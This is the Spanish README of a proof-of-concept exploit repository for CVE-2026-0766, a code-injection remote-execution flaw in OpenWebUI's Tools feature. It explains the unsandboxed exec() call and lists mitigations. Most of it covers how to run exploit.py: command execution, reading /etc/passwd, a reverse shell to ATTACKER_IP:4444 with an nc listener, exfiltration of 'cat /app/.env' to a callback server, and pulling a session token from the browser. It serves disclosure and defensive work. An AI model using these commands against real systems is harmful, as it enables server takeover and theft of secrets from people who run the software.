
Prueba de concepto de exploit para CVE-2026-0766, una vulnerabilidad de ejecución remota de código en OpenWebUI mediante inyección de código en herramientas. Incluye modos de ejecución de comandos, lectura de archivos, shell inversa y exfiltración ciega.
Repositorio Educativo de Investigación en Seguridad
Este repositorio contiene código de explotación de prueba de concepto para CVE-2026-0766, una vulnerabilidad de ejecución remota de código en OpenWebUI descubierta y publicada por la Zero Day Initiative (ZDI).
Este repositorio es únicamente para pruebas de seguridad autorizadas y fines educativos.
El autor no asume ninguna responsabilidad por el mal uso de este código. Los usuarios son los únicos responsables de garantizar que sus actividades cumplan con todas las leyes y regulaciones aplicables.
| Propiedad | Valor |
|---|---|
| ID CVE | CVE-2026-0766 |
| Descubierta por | Zero Day Initiative (ZDI) |
| Software afectado | OpenWebUI |
| Tipo de vulnerabilidad | Inyección de código (CWE-94) |
| Puntuación CVSS | 8.8 ALTA |
| Vector CVSS | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Complejidad del ataque | Baja (administrador autenticado o usuario con permisos de creación/actualización de herramientas puede explotarla) |
OpenWebUI es una interfaz web autoalojada para Modelos de Lenguaje de Gran Escala (LLM). Proporciona una experiencia similar a ChatGPT que las organizaciones pueden ejecutar en su propia infraestructura, manteniendo las conversaciones y los datos de los LLM en sus instalaciones.
OpenWebUI incluye una función de "Herramientas" (Tools) que permite a los usuarios ampliar las capacidades de los LLM enviando código Python. Este código se ejecuta en el servidor mediante la función exec() de Python sin ningún tipo de sandbox, validación o control de seguridad.
Flujo de explotación:
POST /api/v1/tools/createcontentexec(content, module.__dict__) en utils/plugin.pyPunto clave: El código se ejecuta en el momento de la creación de la herramienta, no cuando el LLM invoca la herramienta. Esto significa que simplemente crear una herramienta maliciosa desencadena la RCE: no se necesita ninguna interacción adicional.
Este exploit se ha verificado en:
La vulnerabilidad es de naturaleza arquitectónica (uso inseguro de exec() sobre entrada de usuario) y existe en todas las versiones hasta que el equipo de OpenWebUI publique un parche de seguridad.
La vulnerabilidad existe en backend/open_webui/utils/plugin.py:
def load_tool_module_by_id(tool_id: str, content: str):
# Preprocesamiento mínimo (NO es un control de seguridad)
content = replace_imports(content)
# Crear módulo y ejecutar código de usuario
module = types.ModuleType(f"tool_{tool_id}")
exec(content, module.__dict__) # ← VULNERABILIDAD
return module
La función replace_imports() solo reescribe rutas de importación (cosmético): no restringe qué código puede ejecutarse. No existe:
El equipo de OpenWebUI evaluó inicialmente esto como de baja prioridad, señalando que la creación de herramientas requiere permisos de administrador. Sin embargo:
Después de que el proveedor propusiera que los administradores gestionaran esto con acceso restringido, ZDI ha publicado esto como una vulnerabilidad de día cero (ZDI-26-032) para informar a los defensores.
El autor respeta los desafíos de mantener proyectos de código abierto. El parcheo de seguridad requiere equilibrar las necesidades de los usuarios, las restricciones arquitectónicas y los recursos limitados. Esta publicación tiene como objetivo ayudar a los equipos de seguridad a evaluar el riesgo e implementar mitigaciones.
git clone https://github.com/bitt0n/CVE-2026-0766.git
cd CVE-2026-0766
pip install requests urllib3
El script de explotación (exploit.py) admite múltiples modos de ataque:
Ejecutar comandos del sistema operativo y recuperar la salida:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --cmd "id"
Leer archivos del sistema de archivos del servidor:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --read /etc/passwd
Generar una shell inversa (requiere un listener netcat):
# En la máquina del atacante:
nc -lvnp 4444
# Ejecutar el exploit:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --revshell ATTACKER_IP:4444
Enviar la salida de comandos a un servidor de callback HTTP:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --callback http://your-server:8080 --cmd "cat /app/.env"
El script acepta tanto tokens JWT (del inicio de sesión SSO) como claves API:
Cómo obtener un token JWT:
tokenAuthorization: Bearer ... de cualquier solicitud APIlocalStorage.getItem("token")--token eyJhbGci...Si ejecuta OpenWebUI y no puede aplicar el parche de inmediato:
Reemplace exec() con una alternativa segura:
RestrictedPython para ejecución en sandboxAñada comprobaciones de permisos:
Defensa en profundidad:
Licencia MIT - Consulte el archivo LICENSE para más detalles.
Este código se proporciona con fines educativos y de seguridad defensiva. El autor no es responsable del mal uso.
Esta vulnerabilidad fue divulgada de manera responsable:
Si descubre vulnerabilidades de seguridad en proyectos de código abierto, siga las prácticas de divulgación responsable y dé tiempo a los mantenedores para parchear antes de la divulgación pública.
¿Preguntas o comentarios? Abra un issue en este repositorio.